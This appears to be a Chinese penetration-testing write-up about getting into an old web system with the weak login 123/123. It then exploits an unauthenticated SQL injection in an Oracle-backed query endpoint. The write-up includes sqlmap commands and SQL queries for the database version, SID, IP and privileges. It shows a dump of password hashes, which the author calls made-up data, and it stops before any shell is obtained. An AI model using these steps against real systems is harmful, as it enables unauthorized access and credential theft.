一次从弱口令到getshell-蒲公英云

0x01 弱口令

在一次针对某站点信息收集的过程中，通过子域名扫描，扫描到某个老旧系统。

$1629098949\_611a13c5e2023f68aa123.png!small?1629098952907$

一看这都2014年的老站了，肯定有搞头！

日常使用burp爆破一波试试，没爆破出来

但是随手一试，好家伙123/123进入系统，属于是运气拉满了

(高强度打码)

$1629099157\_611a149547fda2b8e9964.png!small?1629099159494$

这里能看到是一个“编辑”人员的权限，并没有什么上传等后台管理的功能，只能耐心过一遍系统的各种功能。

0x02 SQL注入

进入系统翻一翻，没有什么敏感信息泄露，但是在一处查询人员信息的接口发现了SQL注入(xray被动扫描扫出来的)

http://host.com/xxx/control/SearchMenHunInfo?**content**=123

这时想要手工验证一下，发现甚至不需要后台cookie就能直接访问该接口，相当于还存在未授权访问漏洞。

那这sqlmap一把梭，—cookie参数都不用加了

python sqlmap.py -u “http://host.com/xxx/control/SearchMenHunInfo?**content**=123“ —current-db

$1629100685\_611a1a8d4ca7c7edef78d.png!small?1629100687369$

这里跑出了库名，还能看到这是一个Oracle数据库。打算继续拿shell试试。

但是在我日常渗透过程中，Oracle数据库并不常见，sqlmap中—os-shell参数还是不支持Oracle数据库的，只能现学现卖一波。

0x03 getshell

首先参考了这篇文章 Oracle注入 - 命令执行&Shell反弹

$1629101572\_611a1e0406da1334227dd.png!small?1629101573386$

文章中介绍到以下版本的Oracle在发现注入后可以命令执行

那么再用sqlmap查看一下Oracle版本

python sqlmap.py -u “http://host.com/xxx/control/SearchMenHunInfo?**content**=123“ -b

$1629101914\_611a1f5a2cdcceb802e83.png!small?1629101915711$

看来是符合可以命令执行的版本的！

又经历了一波漫长的学习，发现了github一个大佬已经集成好的工具 oracleShell oracle 数据库命令执行

工具截图如下

$1629102386\_611a2132b089bb783a905.png!small?1629102388399$

可以看出，我们还需要知道数据库的SID，用户名，密码，就可以尝试执行命令。

那么就继续利用sqlmap来扩大我们已知信息。

查看数据库权限—is-dba

$1629102568\_611a21e8e65e1527c6a5a.png!small?1629102570531$

查看数据库IP，SID

这里进入sqlmap的—sql-shell模式，用sql语句来查询

查询SID：select instance_name from v$instance

查询当前IP：select sys_context(‘userenv’,’ip_address’) from dual

$1629102806\_611a22d69a7674a91543f.png!small?1629102808241$

爆破所有数据库账号、密码

使用sqlmap的—passwords参数，跑出数据库的所用用户名和对应的密码

经过漫长的等待，终于有了结果(这里给出的是虚构的数据)

database management system users password hashes:
[*] ANONYMOUS [1]:
    password hash: anonymous
[*] HR [1]:
    password hash: 6399F3B38EDF3288
[*] SYS [1]:
    password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
    password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
    password hash: 8877FF8306EF558B
    clear-text password: SYS